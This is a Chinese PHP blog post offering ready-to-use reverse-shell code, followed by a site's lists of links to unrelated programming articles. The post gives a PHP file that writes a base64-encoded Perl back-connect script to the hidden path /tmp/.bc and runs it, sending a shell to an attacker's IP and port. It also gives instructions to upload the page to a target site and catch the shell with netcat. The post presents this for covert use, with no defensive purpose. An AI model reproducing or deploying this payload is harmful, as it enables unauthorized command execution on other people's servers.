php反弹shell实现代码


Posted in PHP onApril 22, 2009

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。
因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。
声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作,下面贴出来已经修改好的代码

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "your IP"; 
$yourport = 'your port'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

先在本地执行 nc -l -vv -p port 然后访问这个php页面 http://www.site.com/fuck.php 本地就会得到一个反弹的shell。
仅限猥琐流使用,如果有什么好的猥琐的方法,请不吝赐教
PHP 相关文章推荐
php循环检测目录是否存在并创建(循环创建目录)
Jan 06 PHP
php array的学习笔记
May 10 PHP
基于curl数据采集之正则处理函数get_matches的使用
Apr 28 PHP
php调用Google translate_tts api实现代码
Aug 07 PHP
php 生成自动创建文件夹并上传文件的示例代码
Mar 07 PHP
php关联数组快速排序的方法
Apr 17 PHP
Apache无法自动跳转却显示目录的解决方法
Nov 30 PHP
thinkPHP2.1自定义标签库的导入方法详解
Jul 20 PHP
PHP实现求解最长公共子串问题的方法
Nov 17 PHP
PHP设计模式之工厂模式定义与用法详解
Apr 03 PHP
PDO::rollBack讲解
Jan 29 PHP
浅析PHP中的 inet_pton 网络函数
Dec 16 PHP
将数组写入txt文件 var_export
Apr 21 #PHP
php 保留小数点
Apr 21 #PHP
PHP 中执行排序与 MySQL 中排序
Apr 21 #PHP
一个php导出oracle库的php代码
Apr 20 #PHP
php一句话cmdshell新型 (非一句话木马)
Apr 18 #PHP
对squid中refresh_pattern的一些理解和建议
Apr 17 #PHP
PHP 加密与解密的斗争
Apr 17 #PHP
You might like
PHP使用CURL获取302跳转后的地址实例
2014/05/04 PHP
php+mysqli数据库连接的两种方式
2015/01/28 PHP
PHP实现清除MySQL死连接的方法
2016/07/23 PHP
JS实现self的resend
2010/07/22 Javascript
javascript实现十六进制颜色值(HEX)和RGB格式相互转换
2014/06/20 Javascript
浅谈jQuery异步对象(XMLHttpRequest)
2014/11/17 Javascript
浅谈javascript中this在事件中的应用
2015/02/15 Javascript
在JavaScript中用getMinutes()方法返回指定的分时刻
2015/06/10 Javascript
javascript仿百度输入框提示自动下拉补全
2016/01/07 Javascript
简单的jQuery拖拽排序效果的实现(增强动态)
2017/02/09 Javascript
浅析bootstrap原理及优缺点
2017/03/19 Javascript
使用gulp搭建本地服务器并实现模拟ajax
2017/04/05 Javascript
通过jquery获取上传文件名称、类型和大小的实现代码
2018/04/19 jQuery
Node.js console控制台简单用法分析
2019/01/04 Javascript
详解微信小程序-扫一扫 wx.scanCode() 扫码大变身
2019/04/30 Javascript
在vue中利用v-html按分号将文本换行的例子
2019/11/14 Javascript
python查找目录下指定扩展名的文件实例
2015/04/01 Python
python 自动化将markdown文件转成html文件的方法
2016/09/23 Python
Java分治归并排序算法实例详解
2017/12/12 Python
pygame游戏之旅 调用按钮实现游戏开始功能
2018/11/21 Python
记一次python 内存泄漏问题及解决过程
2018/11/29 Python
使用python turtle画高达
2020/01/19 Python
Python使用urllib模块对URL网址中的中文编码与解码实例详解
2020/02/18 Python
python正则表达式的懒惰匹配和贪婪匹配说明
2020/07/13 Python
深入浅析pycharm中 Make available to all projects的含义
2020/09/15 Python
完美解决IE8下不兼容rgba()的问题
2017/03/31 HTML / CSS
Html5 页面适配iPhoneX(就是那么简单)
2019/09/05 HTML / CSS
美国从事品牌鞋类零售的连锁店:Famous Footwear
2016/08/25 全球购物
卡骆驰新加坡官网:Crocs新加坡
2018/06/12 全球购物
加拿大的标志性百货公司:Hudson’s Bay(哈得逊湾)
2019/09/03 全球购物
中国旅游网站:途牛旅游网
2019/09/29 全球购物
新年寄语大全
2014/04/12 职场文书
房屋买卖协议书范本
2014/09/27 职场文书
单方离婚协议书范本2014
2014/10/28 职场文书
干部外出学习心得体会
2016/01/18 职场文书
详解php中流行的rpc框架
2021/05/29 PHP